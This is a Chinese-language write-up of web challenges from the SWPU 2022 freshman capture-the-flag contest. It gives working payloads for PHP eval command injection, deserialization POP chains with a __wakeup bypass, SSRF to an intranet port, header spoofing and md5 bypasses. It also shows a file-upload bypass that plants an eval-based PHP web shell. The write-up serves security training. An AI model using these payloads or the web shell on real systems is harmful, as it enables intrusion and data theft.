SWPU 2022 新生赛

webdog1__start

if (isset($_GET['web']))
{$first=$_GET['web'];if ($first==md5($first)) 

md5 自等

web=0e215962017 （md5后也是 0e)

登入后得到提示，robots.txt

访问 f14g.php

返回包里发现 hint

==>

if (isset($_GET['get'])){$get=$_GET['get'];if(!strstr($get," ")){$get = str_ireplace("flag", " ", $get);if (strlen($get)>18){die("This is too long.");}else{eval($get);} }else {die("nonono"); }}

strstr 是 PHP 中的一个字符串处理函数，用于查找字符串中首次出现某个子字符串的位置，并返回从该子字符串开始到字符串末尾的部分。如果未找到子字符串，则返回 false

不能有空格，flag，长度不大于 18

?get=system(phpinfo());
?get=system(ls);

?get=system(%27nl%09/*%27);				//%27不能掉

%09 为制表符

其他姿势1

嵌套 eval()
既然 get 参数的值存在限制，那么我们可以将 get 的值设置为 eval($_GET[‘?’]); （理论上，? 可以表示任何文本）来接收另一个参数名为 ? 的值并将其作为 PHP 代码执行。这样，判断语句将检查 get 参数，而实际起破坏作用的代码却被我们转移到了另一个参数 ? 中。对此，构造如下查询字符串：

原文链接：https://blog.csdn.net/qq_44879989/article/details/131429635

?get=eval($_GET['x']);&x=system('cat /flag');

其他姿势2

由于 flag 被替换为空格，所以可以使用 flag 当空格用

?get=system('catflag/*')

读到 flag.php 后查看源码，得到 /flag

跳板命令绕过，借力打力

ez_ez_php

//输出：O:2:"lt":3:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:11:"s155964671a";s:4:"md52";s:11:"s214587387a";}

增加属性值绕过 wakeup

O:2:"lt":5:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:11:"s155964671a";s:4:"md52";s:11:"s214587387a";}

js_sign

开发者工具的 source 一栏里找到 man.js

document.getElementsByTagName("button")[0].addEventListener("click", ()=>{flag="33 43 43 13 44 21 54 34 45 21 24 33 14 21 31 11 22 12 54 44 11 35 13 34 14 15"if (btoa(flag.value) == 'dGFwY29kZQ==') {alert("you got hint!!!");} else {alert("fuck off !!");}    
})

dGFwY29kZQ==

解码 ==> tapcode

搜一下这个 tapcode

==>

滴答码，有时也称为敲击码，是一种以非常简单的方式逐字母编码文本消息的方法。消息通过一系列敲击声来传输，因此得名。 [1]

搜在线网站解码，但格式有问题，试着将上面的数字全部分隔开然后敲击，有意外的发现

[滴答码][https://cryptii.com/pipes/tap-code]

编写python脚本自动化打点

import reflag = "33 43 43 13 44 21 54 34 45 21 24 33 14 21 31 11 22 12 54 44 11 35 13 34 14 15"
patter = re.compile(r'\d')
num = re.findall(patter, flag)
for i in num:print(int(i)*".",end=' ')

exp

... ... .... ... .... ... . ... .... .... .. . ..... .... ... .... .... ..... .. . .. .... ... ... . .... .. . ... . . . .. .. . .. ..... .... .... .... . . ... ..... . ... ... .... . .... . ..... 

==>

nssctfyoufindflagbytapcode

==>

NSSCTF{youfindflagbytapcode}

xff

我是本地人

Must be jump from Home Page.

Must be accessed from Xiaohong’s own computer.

抓包添加 header

X-Forwarded-For:127.0.0.1
Referer:127.0.0.1

XFF:告诉服务器当前请求者的最终IP。在一些情况下，攻击者可能会尝试伪造X-Forwarded-For字段来隐藏其真实IP地址，因此在使用XFF时需要谨慎验证其真实性。

Referer:它的作用是指示一个请求是从哪里链接过来，那么当一个请求并不是由链接触发产生的，那么自然也就不需要指定这个请求的链接来源。

funny_php

<?phpsession_start();highlight_file(__FILE__);if(isset($_GET['num'])){if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){echo ":D";$_SESSION['L1'] = 1;}else{echo ":C";}}if(isset($_GET['str'])){$str = preg_replace('/NSSCTF/',"",$_GET['str']);if($str === "NSSCTF"){echo "wow";$_SESSION['L2'] = 1;}else{echo $str;}}if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){echo "Nice!";if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){echo "yoxi!";$_SESSION['L3'] = 1;}else{echo "X(";}}}else{echo "G";echo $_POST['md5_1']."\n".$_POST['md5_2'];}}if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){include('flag.php');echo $flag;}

• 科学计数法绕过
• 双写绕过
• md5绕过

exp

?num=1e9&str=NSSNSSCTFCTFPOST
md5_1=s878926199a&md5_2=s214587387a

ez_ez_unserialize

<?php
class X
{public $x = __FILE__;function __wakeup(){if ($this->x !== __FILE__) {$this->x = __FILE__;}}function __destruct(){highlight_file($this->x);//flag is in fllllllag.php}
}
if (isset($_REQUEST['x'])) {@unserialize($_REQUEST['x']);
} else {highlight_file(__FILE__);
}

简单绕过一下 wakep 即可

<?php
class X
{public $x = __FILE__;
}
$x = new x();
$x -> x = "fllllllag.php";
//echo serialize($x);
$exp ='O:1:"X":4:{s:1:"x";s:13:"fllllllag.php";}';
echo urldecode($exp);
//O:1:"X":3:{s:1:"x";s:13:"fllllllag.php";}

Power!

随便测试一下

?image_path=1

file_get_contents(1): failed to open stream: No such file or directory in /var/www/html/index.php on line 66

php://filter/read=convert.base64-encode/resource=flag.php    

php:    被过滤

再尝试一下其他的

直接 ?image_path=flag.php

看到一个未加载的图片，查看源码有一个 base64 的 source

<?php$a = "good job,but there is no flagi put my flag in intranet(127.0.0.1:65500)outsider have no permissions to get itif you want it,then you have to take itbut you already knew the rulestry it";?>

intranet:局域网

这里有点模糊，直接读一下 index.php

<?phpclass FileViewer{public $black_list = "flag";public $local = "http://127.0.0.1/";public $path;public function __call($f,$a){$this->loadfile();}public function loadfile(){if(!is_array($this->path)){if(preg_match("/".$this->black_list."/i",$this->path)){$file = $this->curl($this->local."cheems.jpg");}else{$file = $this->curl($this->local.$this->path);}}else{$file = $this->curl($this->local."cheems.jpg");}echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';}public function curl($path){$url = $path;$curl = curl_init();curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, 0);$response = curl_exec($curl);curl_close($curl);return $response;}public function __wakeup(){$this->local = "http://127.0.0.1/";}}class Backdoor{public $a;public $b;public $superhacker = "hacker.jpg";public function goodman($i,$j){$i->$j = $this->superhacker;}public function __destruct(){$this->goodman($this->a,$this->b);$this->a->c();}}if(isset($_GET['source'])){highlight_file(__FILE__);}else{if(isset($_GET['image_path'])){$path = $_GET['image_path'];    //flag in /flag.phpif(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';}else{echo '<h2>Seriously??</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents("cheems.jpg")).'"/>';}}else if(isset($_GET['path_info'])){$path_info = $_GET['path_info'];$FV = unserialize(base64_decode($path_info));$FV->loadfile();}else{$path = "vergil.jpg";echo '<h2>POWER!!</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';}}
?>

其实还有 file 伪协议未被过滤

反序列化+SSRF，启动！

注意程序在 unserialize 之后会调用 $FV->loadfile();, 如果 $FV 不是 FileViewer 类的实例则会抛出异常, 导致 Backdoor 类的 __destruct 不会成功执行

解决方法就是再实例化一个 FileViewer 对象 将 Backdoor 塞进这个对象的某个属性里 (php 可以反序列化出不存在的属性)

简单讲就是 class1(class2) 进行反序列化时，会先从 class2 开始反序列化

FileViewer -> Backdoor::__destruct() -> FileViewer::__call() -> FileViewer::loadfile() -> FileViewer::curl()

//flag in /flag.php

exp

<?php
class FileViewer{public $black_list = "sb";public $local;public $path='flag.php';
}
class Backdoor{public $a;public $b='local';public $superhacker = "127.0.0.1:65500/";
}$fileviewer = new FileViewer();
$backdoor = new Backdoor();$backdoor -> a = $fileviewer;
$sm = new FileViewer();   #避免报错
$sm -> local = $backdoor;echo serialize($sm);      #塞了一个，Backdoor类，在内部进行反序列化触发文件curl
echo PHP_EOL;
//echo base64_encode('O:10:"FileViewer":3:{s:10:"black_list";s:2:"sb";s:5:"local";O:8:"Backdoor":3:{s:1:"a";O:10:"FileViewer":6:{s:10:"black_list";s:2:"sb";s:5:"local";N;s:4:"path";s:8:"flag.php";}s:1:"b";s:5:"local";s:11:"superhacker";s:16:"127.0.0.1:65500/";}s:4:"path";s:8:"flag.php";}');
echo base64_encode(serialize($sm));

?path_info=TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7czoyOiJzYiI7czo1OiJsb2NhbCI7Tzo4OiJCYWNrZG9vciI6Mzp7czoxOiJhIjtPOjEwOiJGaWxlVmlld2VyIjozOntzOjEwOiJibGFja19saXN0IjtzOjI6InNiIjtzOjU6ImxvY2FsIjtOO3M6NDoicGF0aCI7czo4OiJmbGFnLnBocCI7fXM6MToiYiI7czo1OiJsb2NhbCI7czoxMToic3VwZXJoYWNrZXIiO3M6MTY6IjEyNy4wLjAuMTo2NTUwMC8iO31zOjQ6InBhdGgiO3M6ODoiZmxhZy5waHAiO30=?ptah_info=TzoxMDoiRmlsZVZpZXdlciI6Mzp7czo1OiJsb2NhbCI7czowOiIiO3M6NDoicGF0aCI7TjtzOjQ6InRleHQiO086ODoiQmFja2Rvb3IiOjM6e3M6MToiYSI7TzoxMDoiRmlsZVZpZXdlciI6Njp7czo1OiJsb2NhbCI7czoyMjoiaHR0cDovLzEyNy4wLjAuMTo2NTUwMCI7czo0OiJwYXRoIjtzOjg6ImZsYWcucGhwIjt9czoxOiJiIjtOO3M6MTE6InN1cGVyaGFja2VyIjtzOjEwOiJoYWNrZXIuanBnIjt9fQ

我本来也是直接让Backdoor直接包含FileViewer，但是不可以。为什么呢。

$FV = unserialize(base64_decode($path_info));
$FV->loadfile();

当我们的反序列化正在执行的时候，会同时执行 $FV->loadfile();这个语句，但是$FV是Backdoor的对象，根本没有这个方法，所以会报错。那么就要让$FV是FileViewer的对象。

我们又知道，反序列化是从最里面开始反序列化的。比如，类1包含类2，那么他会先反序列化类2，再类1.

于是我们是FileViewer包含（Backdoor包含（FileViewer））。

为什么这里不需要绕过 wakeup() ?

我的类结构 --》 Fileview(Backdoor(Fileview))

目的是调用最内层的 Fileview 进行文件读取，当最内层的 Fileview local 被 wakeup 覆盖后，外层 Backdoor 反序列会将其覆盖回来。

内部类属性数量不一致，直接把内部类当垃圾回收，外部类。
外部类属性数量不一致，外部类直接被当成垃圾回收，而内部类正常。

1z_unserialize

<?phpclass lyh{public $url = 'NSSCTF.com';public $lt;public $lly;function  __destruct(){$a = $this->lt;$a($this->lly);}}
unserialize($_POST['nss']);
highlight_file(__FILE__);?> 

exp

class lyh
{public $url = 'NSSCTF.com';public $lt;public $lly;
}$lyh = new lyh();
$lyh -> lt = "eval";
$lyh -> lly = "phpinfo()";
echo serialize($lyh);

nss=O:3:"lyh":5:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

file_master

查询文件功能报错

Warning: file_get_contents(): remote host file access not supported, file://index.php in /var/www/html/index.php on line 24

Warning: file_get_contents(file://index.php): failed to open stream: no suitable wrapper could be found in /var/www/html/index.php on line 24

直接查询 index.php

<?phpsession_start();if(isset($_GET['filename'])){echo file_get_contents($_GET['filename']);}else if(isset($_FILES['file']['name'])){$whtie_list = array("image/jpeg");$filetype = $_FILES["file"]["type"];if(in_array($filetype,$whtie_list)){$img_info = @getimagesize($_FILES["file"]["tmp_name"]);if($img_info){if($img_info[0]<=20 && $img_info[1]<=20){if(!is_dir("upload/".session_id())){mkdir("upload/".session_id());}$save_path = "upload/".session_id()."/".$_FILES["file"]["name"];move_uploaded_file($_FILES["file"]["tmp_name"],$save_path);$content = file_get_contents($save_path);if(preg_match("/php/i",$content)){sleep(5);@unlink($save_path);die("hacker!!!");}else{echo "upload success!! upload/your_sessionid/your_filename";}}else{die("image hight and width must less than 20");}}else{die("invalid file head");}}else{die("invalid file type!image/jpeg only!!");}}else{echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents("welcome.jpg")).'">';

试一下直接读取 flag，失败

先尝试文件上传

提取出信息

1.文件类型必须是image/jpeg

2.要有文件头(测试不添加也行)

3.宽高要小于20

4.文件路径为upload/your_sessionid/your_filename

5.文件内容不能含有php

1,2要求略过

3.要在文件中添加

#define height 1
#define width 1 

4.sessionid在抓包时可以得到在Cookie: PHPSESSID=这里

5.利用短标签

<?= `nl /*`意思是把所有文件都打印出来,但是在这里测试不行，应该是权限不够 尝试传木马 ``` <?= @eval($_POST['a']); ``` 看了一下，他是只检测了文件类型（使用白名单），但未检测文件后缀，所以直接传 .php 后缀即可 exp ``` Cookie: Hm_lvt_648a44a949074de73151ffaa0a832aec=1741614396,1741654878,1741864241,1741929342; HMACCOUNT=6FE6E841CEA52014; Hm_lpvt_648a44a949074de73151ffaa0a832aec=1741950036; PHPSESSID=cv71nj28p9vi0li6ueqpdkjhs9 Connection: keep-alive ------WebKitFormBoundary1B6ANdBcBIGwkKNx Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: image/jpeg #define height 1 #define width 1 GIF89a <?= @eval($_POST['a']); ------WebKitFormBoundary1B6ANdBcBIGwkKNx Content-Disposition: form-data; name="submit" ``` upload/cv71nj28p9vi0li6ueqpdkjhs9/shell.php 成功 但读取时会报一些权限错误，连接蚁剑进入终端，读取得到 flag